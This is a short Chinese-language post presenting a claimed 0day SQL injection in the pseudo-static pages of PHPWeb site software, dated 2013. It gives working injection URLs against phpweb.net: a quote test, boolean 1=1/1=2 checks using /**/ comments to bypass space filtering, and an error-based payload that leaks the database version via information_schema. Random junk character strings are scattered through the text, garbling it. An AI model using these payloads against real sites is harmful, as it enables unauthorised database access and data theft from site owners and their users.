phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入

主站：http://phpweb.net/
加’检测：

http://www.phpweb.net/down/html/?772′.html

  d8 f+ l  h* V9 Q8 x出错
存在注入。
不能用空格，只能用/*罗
. C4 ^' D9 J1 r8 u$ Ihttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常

% j; q/ F2 V/ P# ahttp://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
% v# b6 u3 J0 A, r1 }5 O; b爆数据库版本：
( o2 b/ j! r! q5 H/ z% R
: E& `+ d1 K! r+ O( ]2 ^3 ~?
( S& H8 y: y$ @" V" ?  u, o+ w1
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
9 |0 L) q5 F* @, c8 [& ?( x更新日期: 2013-01-03 13:39:50        
5 O9 S" i6 g8 X1 A' W$ |